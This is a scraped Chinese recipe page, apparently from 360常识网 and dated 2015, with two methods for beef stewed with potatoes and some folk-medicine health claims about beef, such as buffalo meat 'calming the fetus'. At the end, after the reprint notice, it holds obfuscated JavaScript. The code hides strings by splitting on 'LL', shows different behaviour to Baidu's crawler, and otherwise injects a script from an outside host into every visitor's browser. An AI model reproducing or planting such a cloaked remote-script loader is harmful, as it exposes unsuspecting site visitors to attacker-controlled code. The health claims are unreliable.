當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

牛肉燉土豆怎么做好吃?牛肉燉土豆的做法

2015-04-20 06:54:55  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:牛肉富含蛋白質(zhì),氨基酸組成比豬肉更接近人體需要,能提高機(jī)體抗病能力,對(duì)生長(zhǎng)發(fā)育及術(shù)后,病后調(diào)養(yǎng)的人在補(bǔ)充失血、修復(fù)組織等方面特別適

牛肉富含蛋白質(zhì),氨基酸組成比豬肉更接近人體需要,能提高機(jī)體抗病能力,對(duì)生長(zhǎng)發(fā)育及術(shù)后,病后調(diào)養(yǎng)的人在補(bǔ)充失血、修復(fù)組織等方面特別適宜,寒冬食牛肉可暖胃,是該季節(jié)的補(bǔ)益佳品。

牛肉燉土豆的做法-牛肉燉土豆怎么做?
牛肉燉土豆的做法-牛肉燉土豆怎么做?

牛肉燉土豆的做法

做法一

材料準(zhǔn)備:牛腱、土豆、西紅柿、洋蔥、鹽、味精、白糖、白酒、醬油。

制作步驟:

1、將牛腱切塊后加入鹽、醬油、白酒腌制10分鐘;

2、坐鍋點(diǎn)火倒油,放入牛肉翻炒變色后,加入西紅柿煸炒出汁,沖入適量開水燉20分鐘,開蓋后放入土豆?fàn)F10分鐘,再加入洋蔥,加鹽、味精、白糖調(diào)味出鍋即可。

做法二

材料準(zhǔn)備:牛肉,土豆,西紅柿,蔥頭,蔥,姜,八角鹽,料酒,胡椒粉,醬油,白糖,雞精。

具體步驟:

1、牛肉洗凈切小塊,放鍋中加水、蔥、姜燉八成熟,煮牛肉的水不要太多也不要太少,保持在1(牛肉):3(水)就可以了,因?yàn)榕H夂茈y變“帊”,所以在煮的時(shí)候可以放點(diǎn)醋進(jìn)去。

2、蔥、姜、蔥頭炒出香味;下牛肉、西紅柿、鹽、料酒;

3、加醬油、胡椒粉、八角、白糖、牛肉湯,小火燒15分鐘。

4、加土豆塊,土豆在切好之后,可以用鹽巴泡一下再拿去煮,那樣即使煮熟了吃起來口感更加的好吃,繼續(xù)燒10分鐘,放雞精調(diào)好口味。

牛肉富含蛋白質(zhì),氨基酸組成比豬肉更接近人體需要,能提高機(jī)體抗病能力,對(duì)生長(zhǎng)發(fā)育及術(shù)后,病后調(diào)養(yǎng)的人在補(bǔ)充失血、修復(fù)組織等方面特別適宜,寒冬食牛肉可暖胃,是該季節(jié)的補(bǔ)益佳品;牛肉有補(bǔ)中益氣,滋養(yǎng)脾胃,強(qiáng)健筋骨,化痰息風(fēng),止渴止涎之功效,適宜于中氣下隱、氣短體虛、筋骨酸軟、貧血久病及面黃目眩之人食用;水牛肉能安胎補(bǔ)神,黃牛肉能安中益氣、健脾養(yǎng)胃、強(qiáng)筋壯骨。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}